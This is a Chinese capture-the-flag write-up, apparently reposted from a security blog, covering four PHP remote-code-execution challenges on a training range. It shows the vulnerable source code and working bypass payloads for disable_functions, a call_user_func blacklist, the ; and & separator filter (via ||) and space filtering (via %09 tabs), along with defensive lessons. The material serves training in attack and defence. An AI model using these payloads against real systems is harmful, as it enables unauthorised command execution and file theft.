文章总结: 本文介绍了六边形攻防靶场RCE系列中篇的4道绕过题,核心是绕过disablefunctions、分隔符与空格过滤。关键发现包括:PHP文件读取函数(如readfile)可绕过命令执行限制;calluser_func动态调用存在漏网函数风险;||可绕过;与&过滤;%09可替代空格。建议使用白名单映射函数名,并在解码阶段实施严格过滤。 综合评分: 85 文章分类: 渗透测试,红队,WEB安全,安全工具,漏洞分析
黑名单不是防火墙 六边形靶场 RCE 中篇:disable_functions、分隔符、空格绕过
原创
网安布道师 网安布道师
六边形攻防安全
2026年7月14日 20:26 河北
在小说阅读器读本章
去阅读
❝
六边形攻防靶场 Web → Rce 系列 · 共三篇 中篇:
disable_functions、分隔符、空格——继续拆 4 道绕过题。❞
上一篇解决的是“还有哪个命令执行入口可用”。从这一篇开始,限制会落到更细的语法层:执行函数几乎全禁、读文件黑名单、分隔符与空格过滤。
环境:六边形攻防靶场,路径 「题库 → Web → Rce」。Payload 仅供授权练习。
系列进度
| 篇目 | 覆盖题目 |
| — | — |
| 上 | rce-cmdfunction1 ~ 4 |
| 中(本文) | disable_functions ×2 / 分隔符 / 空格 |
| 下 | 敏感词 / 无回显 / 斜线 / 长度限制 ×2 |
「每题顺序」:源码/环境 → 过滤点 → 绕过 → Payload → 结果 → 小结。
先换一个目标:不执行命令,也能读文件
CTF 目标常常是读 Flag。命令执行只是手段之一。若 system/exec 全挂,PHP 仍可能:
scandir('/'); glob('/*');readfile('/flag'); file_get_contents('/flag');show_source('/flag'); include('/flag');
| Shell 习惯 | PHP 等价 |
| — | — |
| ls / ls / | scandir / glob |
| cat /flag | readfile / file_get_contents / show_source 等 |
第五题:rce-bypass_disable_functions
「平台路径」:题库 → Web → Rce → rce-bypass_disable_functions
「难度」:easy · 分值 35
源码 / 环境分析
入口与上篇同类,用户输入进 eval:
<?phpif (isset($_GET['code'])) { $code = $_GET['code']; eval($code);} else { highlight_file(__FILE__);}?>
但环境 disable_functions「基本禁用常见命令执行函数」(system/exec/passthru/shell_exec/popen 等)。
目标只需读 Flag,不必死磕冷门命令函数。
过滤点
| 点 | 说明 |
| — | — |
| disable_functions | 封命令执行,不自动封文件系统 API |
| 仍可用 | scandir / glob / readfile / file_get_contents / show_source / include 等(以实机为准) |
绕过思路
- PHP 枚举目录找 Flag 路径
- 用仍可用的读文件函数输出
Payload
?code=print_r(scandir('/'));?code=var_dump(glob('/*'));?code=readfile('/flag');
其它等价:show_source、file_get_contents、include、require 等。
结果
rce-bypass_disable_functions 运行结果
图:readfile('/flag') 直接回显 Flag,无需命令执行函数。
本题小结
disable_functions 不是完整沙箱,挡不住所有读文件与信息泄露能力。
第六题:rce-bypass_disable_functions1
「平台路径」:题库 → Web → Rce → rce-bypass_disable_functions1
「难度」:easy · 分值 36
源码 / 环境分析
题目会 show_source 自身,核心逻辑接近:
<?phpshow_source('index.php');$a = $_GET["a"];$b = $_GET["b"];if (preg_match("/exec'|passthru|proc_close|proc_open|popen|shell_exec|system|scandir|eval|assert|print_r|fread|fgets|var_dump|show_source|highlight_file/", $a)) { echo '1';} else if (preg_match("/cat|tac|more|less|head|tail|nl|static-sh|paste|od|bzmore|bzless/i", $b)) { echo '2';} else { call_user_func($a, $b);}?>
过滤点
| 点 | 说明 |
| — | — |
| $a 黑名单 | 大量命令/读文件/调试函数名 |
| $b 黑名单 | 常见 shell 读文件命令关键字 |
| 结构危险点 | 「call_user_func($a, $b)」 —— 用户决定调谁 |
| 漏项 | 黑名单「没有」readfile |
绕过思路
把 a 设为漏网函数名,b 设为 Flag 路径。
Payload
?a=readfile&b=/flag
等价于 readfile('/flag')。
结果
rce-bypass_disable_functions1 运行结果
图:?a=readfile&b=/flag 触发动态调用,Flag 出现在页面底部。
本题小结
动态调用必须用白名单映射;不能把用户输入直接当函数名。
第七题:rce-bypassserparator
❝
平台题名保留拼写
serparator;考点是 separator。❞
「平台路径」:题库 → Web → Rce → rce-bypassserparator
「难度」:easy · 分值 37
源码 / 环境分析
<?phpif (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; if (!preg_match_all("/\;|\&/i", $cmd)) { system($cmd . " >/dev/null 2>&1"); } else { echo "NoNoNo"; }} else { highlight_file(__FILE__);}?>
注意最后一行:服务端在命令后「硬拼」了 >/dev/null 2>&1。
过滤点
| 点 | 说明 |
| — | — |
| 正则 | 拦截 ; 与 & |
| 未拦 | \|\| 、\| 等 |
| 拼接 | 成功命令若直接接重定向,stdout 会被吞掉 |
绕过思路
- 用
||代替;/&做连接 - 让读 Flag 命令「成功」,让
||右侧接住服务端追加的重定向,主命令 stdout 回到页面
Payload
?cmd=cat /flag||
完整 shell 效果近似:cat /flag|| >/dev/null 2>&1。
结果
rce-bypassserparator 运行结果
图:地址栏 URL 含 cmd=cat /flag||,页面回显 Flag。
本题小结
黑名单很难穷尽 Shell 连接语法;更稳的是不启动 Shell、参数数组化执行。
第八题:rce-bypass_space
「平台路径」:题库 → Web → Rce → rce-bypass_space
「难度」:easy · 分值 38
源码 / 环境分析
入口为 ?cmd=,经正则后拼进 system/shell_exec 一类接口。
完整正则以实机 highlight_file 为准;常见模式与第七题类似,会 「ban 普通空格」,并可能再拼 >/dev/null 2>&1。
可先 highlight_file / 试探:?cmd=ls /(带空格)是否直接报 ban,再试 %09。
过滤点
| 点 | 说明 |
| — | — |
| 空格 0x20 / %20 | 通常被 ban |
| 分隔符 | ;``& 等常见 ban 项 |
| 未彻底覆盖 | TAB %09 等仍可当分词空白 |
| 叠加 | 若服务端拼了重定向,仍常需 || 保住 stdout |
绕过思路
用 %09(TAB)代替空格,必要时保留 ||。
?cmd=ls%09/||?cmd=cat%09/fl*||
解码后近似:cat<TAB>/fl*||。
结果
rce-bypass_space 运行结果
图:地址栏 URL 中带 %09 Payload,页面回显 Flag。
本题小结
过滤要明确发生在哪个解码阶段。只查“肉眼可见的空格”,解码/Shell 解析后仍可能出现危险语义。
中篇总结
| 题目 | 源码关键点 | 突破 |
| — | — | — |
| disable_functions | 命令函数全禁 | PHP 读文件 API |
| disable_functions1 | call_user_func($a,$b) + 黑名单 | a=readfile&b=/flag |
| bypassserparator | 只 ban ;/& + 拼重定向 | cat /flag|| |
| bypass_space | ban 空格等 | %09 + || |
下一篇:敏感词、无回显、斜线、长度限制——继续先抠源码。
去哪练?
靶场注册:公众号回复【靶场邀请码】获取邀请码即可进行注册 打开 https://hexlab.fun/ → 「题库 → Web → Rce」 建议:先独立做,再回看文章复盘。
关注 「六边形攻防安全」,下篇见:敏感词、无回显、斜线与长度限制。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:六边形攻防安全 网安布道师 网安布道师《黑名单不是防火墙 六边形靶场 RCE 中篇:disable_functions、分隔符、空格绕过》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论